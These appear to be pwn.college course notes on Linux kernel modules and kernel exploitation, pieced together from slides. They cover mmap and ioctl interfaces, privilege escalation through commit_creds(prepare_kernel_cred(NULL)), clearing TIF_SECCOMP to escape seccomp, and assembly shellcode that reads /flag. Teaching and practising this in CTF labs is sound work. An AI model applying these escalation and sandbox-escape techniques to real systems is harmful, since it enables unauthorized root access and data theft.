copy_to_user(userspace_address, kernel_address, length);
static int my_mmap(struct file *filp, struct vm_area_struct *vma) {
unsigned long pfn = virt_to_phys(kernel_buffer) >> PAGE_SHIFT;
return remap_pfn_range(vma, vma->vm_start, pfn,
vma->vm_end - vma->vm_start,
vma->vm_page_prot);
}int fd = open("/dev/mydevice", O_RDWR);
char *mapped = mmap(NULL, length, PROT_READ
| PROT_WRITE, MAP_SHARED, fd, 0);
strcpy(mapped, "hello from user space");Input/Output Control provides a much more flexible interface.
From kernel space: static long device_ioctl(struct file *filp, unsigned int ioctl_num, unsigned long ioctl_param)
From user space:
Useful for setting and querying non-stream data (i.e., webcam resolution settings as opposed to webcam video stream).
int fd = open("/dev/pwn-college", 0);
ioctl(fd, COMMAND_CODE, &custom_data_structure);
static ssize_t device_read(struct file *filp, char *buffer, size_t length, loff_t *offset)
static ssize_t device_write(struct file *filp, const char *buf, size_t len, loff_t *off)fd = open("/dev/pwn-college", 0)
read(fd, buffer, 128);from pwn.college - baby_kernel2.0 challenge
from pwn.college
struct cred * prepare_kernel_cred(struct task_struct *reference_task_struct)
commit_creds(prepare_kernel_creds(NULL))
Note: this is as of kernel version 5.4
https://elixir.bootlin.com/linux/v5.4/source/arch/x86/include/asm/thread_info.h
https://elixir.bootlin.com/linux/v5.4/source/include/linux/sched.h#L624 - task struct
https://elixir.bootlin.com/linux/v5.4/source/arch/x86/entry/vsyscall/vsyscall_64.c
This is where the filtering happens and ensure whether the system call actually happens.
https://elixir.bootlin.com/linux/v5.4/source/include/linux/seccomp.h#L35
https://elixir.bootlin.com/linux/v5.4/source/kernel/seccomp.c#L920
current->thread_info.flags &= ~(1 << TIF_SECCOMP) /* push b'/flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax
/* call open('rsp', 'O_RDONLY', 'rdx') */
push 2 /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* O_RDONLY */
syscall
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
mov r10d, 0x7fffffff
mov rsi, rax
push 40 /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall
Whether we used shellcraft to help us or not, we ended up making lots of system calls to get our desired behavior.
Why?
Next week we will focus on stack exploitation!